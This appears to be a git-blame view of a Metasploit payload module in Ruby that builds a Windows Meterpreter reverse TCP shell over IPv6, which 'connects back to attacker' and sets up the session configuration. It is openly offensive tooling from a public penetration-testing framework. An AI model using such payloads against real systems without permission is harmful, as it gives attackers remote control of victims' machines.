2015-03-13 10:15:31 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
2015-05-04 11:51:20 +00:00
|
|
|
require 'msf/core/transport_config'
|
2015-03-13 10:15:31 +00:00
|
|
|
require 'msf/core/handler/reverse_tcp'
|
2015-05-04 11:51:20 +00:00
|
|
|
require 'msf/core/payload/windows/meterpreter_loader'
|
2015-03-13 10:15:31 +00:00
|
|
|
require 'msf/base/sessions/meterpreter_x86_win'
|
|
|
|
require 'msf/base/sessions/meterpreter_options'
|
|
|
|
|
2015-03-30 08:59:30 +00:00
|
|
|
module Metasploit4
|
2015-03-13 10:15:31 +00:00
|
|
|
|
2015-03-16 23:08:13 +00:00
|
|
|
CachedSize = :dynamic
|
|
|
|
|
2015-05-04 11:51:20 +00:00
|
|
|
include Msf::TransportConfig
|
|
|
|
include Msf::Payload::Windows
|
|
|
|
include Msf::Payload::Single
|
|
|
|
include Msf::Payload::Windows::MeterpreterLoader
|
2015-03-13 10:15:31 +00:00
|
|
|
include Msf::Sessions::MeterpreterOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Windows Meterpreter Shell, Reverse TCP Inline (IPv6)',
|
|
|
|
'Description' => 'Connect back to attacker and spawn a Meterpreter shell',
|
|
|
|
'Author' => [ 'OJ Reeves' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
'Handler' => Msf::Handler::ReverseTcp,
|
|
|
|
'Session' => Msf::Sessions::Meterpreter_x86_Win
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('EXTENSIONS', [false, "Comma-separate list of extensions to load"]),
|
|
|
|
OptInt.new("SCOPEID", [false, "The IPv6 Scope ID, required for link-layer addresses", 0])
|
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate
|
2015-05-04 12:36:59 +00:00
|
|
|
stage_meterpreter(true) + generate_config
|
2015-05-04 11:51:20 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def generate_config(opts={})
|
|
|
|
unless opts[:uuid]
|
|
|
|
opts[:uuid] = Msf::Payload::UUID.new({
|
|
|
|
:platform => 'windows',
|
|
|
|
:arch => ARCH_X86
|
|
|
|
})
|
|
|
|
end
|
|
|
|
|
|
|
|
# create the configuration block
|
|
|
|
config_opts = {
|
|
|
|
:arch => opts[:uuid].arch,
|
|
|
|
:exitfunk => datastore['EXITFUNC'],
|
|
|
|
:expiration => datastore['SessionExpirationTimeout'].to_i,
|
|
|
|
:uuid => opts[:uuid],
|
|
|
|
:transports => [transport_config_reverse_ipv6_tcp(opts)],
|
|
|
|
:extensions => (datastore['EXTENSIONS'] || '').split(',')
|
|
|
|
}
|
|
|
|
|
|
|
|
# create the configuration instance based off the parameters
|
|
|
|
config = Rex::Payloads::Meterpreter::Config.new(config_opts)
|
|
|
|
|
|
|
|
# return the binary version of it
|
|
|
|
config.to_b
|
2015-03-13 10:15:31 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
end
|
|
|
|
|